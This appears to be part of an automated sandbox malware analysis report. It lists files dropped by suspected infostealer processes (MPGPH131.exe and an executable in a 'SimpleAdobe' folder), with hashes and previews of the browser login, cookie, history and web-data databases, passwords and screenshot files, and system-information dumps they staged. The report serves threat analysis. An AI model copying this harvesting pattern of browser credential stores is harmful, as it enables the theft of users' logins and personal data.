MD5:	AE3E7A509EDB5B7E46F851CB5AB7587D
SHA1:	461F516F194F6304E275AD1BB4C8275CA2C34F6C
SHA-256:	C8656BE4BA2FAAA6C2372915EF86F507A819CE60EAE345BFC1FB885E70A21624
SHA-512:	C7C2590FF23890F7317290E66C49D7A53C9D20BE965A76DCEC6D9A129CB3BFFF07B55E28D69D79799E476E6F4F6AD5B9CD67C55126E84A1CB18AF09C246B6122
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanoDGzJY8WIXSN\P91RDP8DaTWpWeb Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanoDGzJY8WIXSN\SoyV7ChAIGPPLogin Data For Account

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanoDGzJY8WIXSN\XOgZ20tHU6EWHistory

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 39, 1st free page 10, free pages 4, cookie 0x45, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5241404324800358
Encrypted:	false
SSDEEP:	96:56U+bGzPDLjGQLBE3up+U0jBo4tgi3JMe9xJDECVjN:5R+GPXBBE3upb0HtTTDxVj
MD5:	241322143A01979D346689D9448AC8C0
SHA1:	DD95F97EE1CCB8FD9026D2156DE9CB8137B816D1
SHA-256:	65EEBDEC4F48A111AC596212A1D71C3A5CFA996797500E5344EEABDFA02527C8
SHA-512:	9C7241462A9DADEF25D8EEB1C14BABFBA65C451EBAFBC068B9856E4EF0EB6F894A44686CBB0D1F46C7F546335D0C53A3E386E6C1A017082DE127F8F9C0A54BD2
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'...........E......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanoDGzJY8WIXSN\_ogxFq15ASrqWeb Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanoDGzJY8WIXSN\cCb91leR25zHHistory

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanoDGzJY8WIXSN\dG1t4_8DhQOTCookies

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanoDGzJY8WIXSN\i2AoqD_8rs0hWeb Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanoDGzJY8WIXSN\kiLw9mcR7wwJLogin Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanoDGzJY8WIXSN\zsUg2LAKGb59Web Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 89, cookie 0x66, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	184320
Entropy (8bit):	1.0671530580287119
Encrypted:	false
SSDEEP:	192:QSqzWMMUfTJnGCTjHbRJkkqtXaWTK+hGgH+6e7EHVumY/Un6:QrzWMffVnzkkqtXnTK+hNH+5EVumL
MD5:	AE3E7A509EDB5B7E46F851CB5AB7587D
SHA1:	461F516F194F6304E275AD1BB4C8275CA2C34F6C
SHA-256:	C8656BE4BA2FAAA6C2372915EF86F507A819CE60EAE345BFC1FB885E70A21624
SHA-512:	C7C2590FF23890F7317290E66C49D7A53C9D20BE965A76DCEC6D9A129CB3BFFF07B55E28D69D79799E476E6F4F6AD5B9CD67C55126E84A1CB18AF09C246B6122
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixy3thb7smxRnGc\Cookies\Chrome_Default.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe
File Type:	ASCII text, with very long lines (769), with CRLF line terminators
Category:	dropped
Size (bytes):	18255
Entropy (8bit):	6.038274200863744
Encrypted:	false
SSDEEP:	384:gwsPbtKvCpqq40wsPbtKvCpqq40wsPbtKvCpqq47:zRveoRveoRveS
MD5:	D7F556811765D42D01610A32384F0997
SHA1:	22AE7DB7C969E47297CB597ACB14EBB93C944184
SHA-256:	D0A1F4A9D604EC7B11ED1B08DFBE767D28D4C09717E457A8C05DC4078888B857
SHA-512:	D3CFC0E8BDEA97D72C997463B6FDC9627DFA8C6195C44984DAADA928DF2FAB6873DF7D3AD41A485A8BC6A992489C693F94833985598F8069BB40331EF498C07F
Malicious:	false
Reputation:	unknown
Preview:	.google.com.TRUE./.TRUE.1712145003.NID.ENC893_djEw3+k+F2A/rK1XOX2BXUq6pY2LBCOzoXODiJnrrvDbDsPWiYwKZowg9PxHqkTm37HpwC52rXpnuUFrQMpV3iKtdSHegOm+XguZZ6tGaCY2hGVyR8JgIqQma1WLXyhCiWqjou7/c3qSeaKyNoUKHa4TULX4ZnNNtXFoCuZcBAAy4tYcz+0BF4j/0Pg+MgV+s7367kYcjO4q3zwc+XorjSs7PlgWlYrcc55rCJplhJ+H13M00HIdLm+1t9PACck2xxSWX2DsA61sEDJCHEc=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.FALSE./.TRUE.1696413835..AspNetCore.AuthProvider.ENC893_djEwVWJCCNyFkY3ZM/58ZZ/F/bz9H1yPvi6FOaroXC+KU8E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.Correlation.mdRqPJxLbpyv7vX0eK9YkTR-xwcrW3VBLE4Y3HEvxuU.ENC893_djEwBAKLrkJs5PZ6BD7Beoa9N/bOSh5JtRch10gZT+E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.OpenIdConnect.Nonce.CfDJ8Kiuy_B5JgFMo7PeP95NLhqwcJ8koDy5pXkfoWsb5SbbU2hVCbsH2qt9GF_OVCqFkLEwhvzeADNQOF5RSmkDfh5RqfqlOkx5QWo4Lltvwb0CvwBFD8ujlm3BAglOeGca3ZatkLMUkH

C:\Users\user\AppData\Local\Temp\trixy3thb7smxRnGc\History\Firefox_fqs92o4p.default-release.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	112
Entropy (8bit):	4.911305722693245
Encrypted:	false
SSDEEP:	3:N8DSLvIJiMgTE2WdkQUl7R8DSLvIJiMhKVX3L2WdkQUlv:2OLciodq7R8OLciA8dqv
MD5:	978B9515D3688A43726604AC169DF379
SHA1:	D61293AB99332FC45CAE37D78AB17A5DA5BCD189
SHA-256:	CDEF3FB1CE312E4B67DC5F1B1F9FB551241C08564FDB26AFA4CBF448BB02EA65
SHA-512:	86146AA576129B73743B1EBC0BC60880FDA58A11498048B3C68284C4520F1ADC324D016696B0E995A51AC56966E0F38B0AF12458A986868701C6AAAA89C829CB
Malicious:	false
Reputation:	unknown
Preview:	https://www.mozilla.org/privacy/firefox/.1696333827..https://www.mozilla.org/en-US/privacy/firefox/.1696333827..

C:\Users\user\AppData\Local\Temp\trixy3thb7smxRnGc\information.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	7249
Entropy (8bit):	5.47036399428391
Encrypted:	false
SSDEEP:	96:xWgRMRRQJWcT4Aisph+9hcBSBU75debnBEiPo6ubM0H1VuANUbg3x:xrY2JWvAtphWhcBSBUIPcdH1VLB
MD5:	B41A56A8AD17E4D7BA9B408500740EF9
SHA1:	651CBAC1205B11B32EE037F4EF72F020F1C1B8E9
SHA-256:	2101E1ECA0D0CD83436D727361BF7DEF8F161ED1BC216016FEEA1A9622CF543D
SHA-512:	487D40FC2589FEC6C7D46276A37BCBF2CA9225271978C44F31AE260BFF5B00D037125C767C86A8C690101E53539C3A87200EEE2CC4C2554F555F9184FE1BFD82
Malicious:	false
Reputation:	unknown
Preview:	Build: Default12..Version: 2.0....Date: Fri May 24 03:42:47 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: 89787d8444001452550fd863dffd711c....Path: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe..Work Dir: C:\Users\user\AppData\Local\Temp\trixy3thb7smxRnGc....IP: 8.46.123.175..Location: US, New York..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 632922 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 24/5/2024 3:42:47..TimeZone: UTC-5....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [324]..csrss.exe [408]..wininit.exe [484]..csrss.exe [492]..winlogon.exe [552]..services.exe [620]..lsass.exe [628]..svchost.exe [752]..fontdrvhos

C:\Users\user\AppData\Local\Temp\trixy3thb7smxRnGc\passwords.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixy3thb7smxRnGc\screenshot.png

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	690110
Entropy (8bit):	7.925717965545498
Encrypted:	false
SSDEEP:	12288:dU+YN/zsDAL0YlKCsI4jx/NmR/xGXZK3KMg86L7VHIn/dWACtSXdaXmLhL:dG5z6AL0cP3WlU/xGXBMM71I/dW5gXdp
MD5:	4ECC3AF39798562D50577B9A860B6C55
SHA1:	ED955A604C3FB681A4990F2D79FF9F3B68AC3EC0
SHA-256:	E35792A2DC640D2F8517990FFE68C9A9DE68645F8E12248E0A81F6F968D6D65C
SHA-512:	6306E56C224BD070956C9B0B2BE0328D6577B7B195AB706C0D18CB55BE8A01C2069BA254EEC6E94C2167C33326ACF1B18CCCD572D64A67BB101EABD48ED2B3D5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..w.mU....v..I.s.w..XU......X...ZQe..Rr...d.`.....lD%H.1.XGK).$.U6.$... ...c......ko.[{Z...o.c......>F.s./...l...C.;%...O{..tO..:'.{X`.t.4:.....N.y/..C....&.\|..L.?M.........Wl.h.q.~ant>..91ulL.sO...yb..Y..HL.-..H........=.#.....5...k...4.C....CfO....L...?..S.yx~9....c1U....s....[.}.j........2.1..@..i.Y..#..L}.........5.?........<.E.S........E.S.Mys.....,z.`..'.Wj..u.@..3f..wd...fj..{ ...wf....+........"c.m.N.[Z........]us....j.[n....e....93..rK...a.P..%)O0f..>7V.7'...Z..S\|Q.k.T._.w..}R<...i......h<...ml..o......j.....K.=......{]_-yS..3..b.t....v....zM.....'..M..RLcA>.=o....e.]B,...%/.;;].../J.tw....J.-!..w..Z.k.....NWe.;^...qC.l..o.{...]....;\Yu.."..vL......./..;\...........%.\.Y.s.n....c~Y..K.._.....X..;...K{n.Y.10...).].O.?..%.E.^...=..h..3e...m.[..oui5..%..t.t..b.-.n.}.>,.&.k}.^..].MZ.u...O...Ly._\-."]7..)O.g..[.m..S...w6...nvQ..lza.)W..Z..z.

C:\Users\user\AppData\Local\Temp\trixyoDGzJY8WIXSN\Cookies\Chrome_Default.txt

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	ASCII text, with very long lines (769), with CRLF line terminators
Category:	dropped
Size (bytes):	6085
Entropy (8bit):	6.038274200863744
Encrypted:	false
SSDEEP:	96:gxsumX/xKO2KbcRfbZJ5Jxjxcx1xcbza5BC126oxgxA26Fxr/CxbTxqCGYURxOeb:gWFXZQHRFJ5Pts7c3avC126Ygb6Lr/WY
MD5:	ACB5AD34236C58F9F7D219FB628E3B58
SHA1:	02E39404CA22F1368C46A7B8398F5F6001DB8F5C
SHA-256:	05E5013B848C2E619226F9E7A084DC7DCD1B3D68EE45108F552DB113D21B49D1
SHA-512:	5895F39765BA3CEDFD47D57203FD7E716347CD79277EDDCDC83A729A86E2E59F03F0E7B6B0D0E7C7A383755001EDACC82171052BE801E015E6BF7E6B9595767F
Malicious:	false
Reputation:	unknown
Preview:	.google.com.TRUE./.TRUE.1712145003.NID.ENC893_djEw3+k+F2A/rK1XOX2BXUq6pY2LBCOzoXODiJnrrvDbDsPWiYwKZowg9PxHqkTm37HpwC52rXpnuUFrQMpV3iKtdSHegOm+XguZZ6tGaCY2hGVyR8JgIqQma1WLXyhCiWqjou7/c3qSeaKyNoUKHa4TULX4ZnNNtXFoCuZcBAAy4tYcz+0BF4j/0Pg+MgV+s7367kYcjO4q3zwc+XorjSs7PlgWlYrcc55rCJplhJ+H13M00HIdLm+1t9PACck2xxSWX2DsA61sEDJCHEc=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.FALSE./.TRUE.1696413835..AspNetCore.AuthProvider.ENC893_djEwVWJCCNyFkY3ZM/58ZZ/F/bz9H1yPvi6FOaroXC+KU8E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.Correlation.mdRqPJxLbpyv7vX0eK9YkTR-xwcrW3VBLE4Y3HEvxuU.ENC893_djEwBAKLrkJs5PZ6BD7Beoa9N/bOSh5JtRch10gZT+E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.OpenIdConnect.Nonce.CfDJ8Kiuy_B5JgFMo7PeP95NLhqwcJ8koDy5pXkfoWsb5SbbU2hVCbsH2qt9GF_OVCqFkLEwhvzeADNQOF5RSmkDfh5RqfqlOkx5QWo4Lltvwb0CvwBFD8ujlm3BAglOeGca3ZatkLMUkH

C:\Users\user\AppData\Local\Temp\trixyoDGzJY8WIXSN\information.txt

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	6255
Entropy (8bit):	5.470401260023326
Encrypted:	false
SSDEEP:	96:xTURYORQqcT4Aisph+9hcBSBU75de9ESRT5A12xVM41ANUbg3x:x492qvAtphWhcBSBUERdDVM/B
MD5:	F318DD17D572665D4787916555B150AA
SHA1:	28E901CF475363DD7CFE8096228D33A7578B804E
SHA-256:	482784D65FECE96987202758A31915B2209152FAAD563C9811CA3147752ECAC1
SHA-512:	720E27B6A5B1BFB801D4AEAA48A5E68DD88D0AB2BA692FDC67701132EB8FB9728133C0FEF5FB081663F5481CAAFE8373F0E516F2331B97CEDEE025AEA4A33401
Malicious:	false
Reputation:	unknown
Preview:	Build: guli..Version: 2.0....Date: Fri May 24 03:43:04 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: 89787d8444001452550fd863dffd711c....Path: C:\ProgramData\MPGPH131\MPGPH131.exe..Work Dir: C:\Users\user\AppData\Local\Temp\trixyoDGzJY8WIXSN....IP: 8.46.123.175..Location: US, New York City..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 632922 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 24/5/2024 3:43:4..TimeZone: UTC-5....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [324]..csrss.exe [408]..wininit.exe [484]..csrss.exe [492]..winlogon.exe [552]..services.exe [620]..lsass.exe [628]..svchost.exe [752]..fontdrvhost.exe [776]..fontdrvhost.exe [

C:\Users\user\AppData\Local\Temp\trixyoDGzJY8WIXSN\passwords.txt

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5OpenGL.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	320120
Entropy (8bit):	6.398399631689542
Encrypted:	false
SSDEEP:	6144:bSU6+JAfisltPzYzrIybvaEezwMckNI+STEDv4nk3ad04ZqhKTrg+COv:brAltbYzsOvaWJ
MD5:	DB19F6E0A1BB5DB1C8D87C3FE0891136
SHA1:	3B2DAB478A8268000EF5E4474D52CB71F9EB615E
SHA-256:	7623B596CFD989413FEA2FE355607B029EF8E64067275CBF81863688128738B0
SHA-512:	B328DC6D1ADE3061894BC5C50F437B732190DE3CEA6D2CDC147A9A8193EE73221937FBA24209B66226D5E4B05DFFF5A79DB8B134373D1218605BCBA6EE82A6B3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~@hB:!..:!..:!..3Y..2!...L..8!..aI..8!...L..,!...L..2!...L..9!...O..=!..:!..."...O../!...O..;!...O..;!..:!..;!...O..;!..Rich:!..........................PE..d....lP_.........." .....\...v......$_...................................................`..........................................5...........................,......x.......\|...P...T.......................(....................p..p............................text....[.......\.................. ..`.rdata..."...p...$...`..............@..@.data...8...........................@....pdata...,..........................@..@.rsrc...............................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5Svg.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	331384
Entropy (8bit):	6.387255143196498
Encrypted:	false
SSDEEP:	6144:cOjmvCPMfXfCsXL0hq+SNcFxkqSj1ZBtp:fcC05tp
MD5:	C3424F2D3D26632C341EF2F542AEA36B
SHA1:	30640EBFF046085DBA3BD0877DE8A90886BED945
SHA-256:	FB0BD60A7D0178C62CFD14D53B40AD47E8F68DB68B95C625723CADC1CD3A1A3E
SHA-512:	72D9A32433DA38CFB752A67C5F903F3480871FCBD16DC5999FB970313079652CF7AEB481DA6097879B641A0E76271118C6E82406DD14C9C90C7460BA6A71BDC7
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........O...........8...................................W............W.....W.....W.T.....<....W.....Rich...........................PE..d...z.P_.........." .........................................................@....../.....`..................................................*....... ...........1......x....0..8....N..T...................XP..(...PO...............................................text............................... ..`.rdata.............................@..@.data...............................@....pdata...1.......2..................@..@.rsrc........ ......................@..@.reloc..8....0......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5WinExtras.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	469624
Entropy (8bit):	6.027128925039679
Encrypted:	false
SSDEEP:	6144:g814pr+wMrppkALmug7u7ozC/B4OvCH9UYHeAeBC:u9+wAkAS2j/B4BryC
MD5:	820FFF478DC5F2C2D5F03A5DB9187FBC
SHA1:	BD58AA8596345C837E1743617452EC7D73013F3A
SHA-256:	3DC976E86D64881E0F37A54B5A04E903235E94D858889B1261527F0048CFBC03
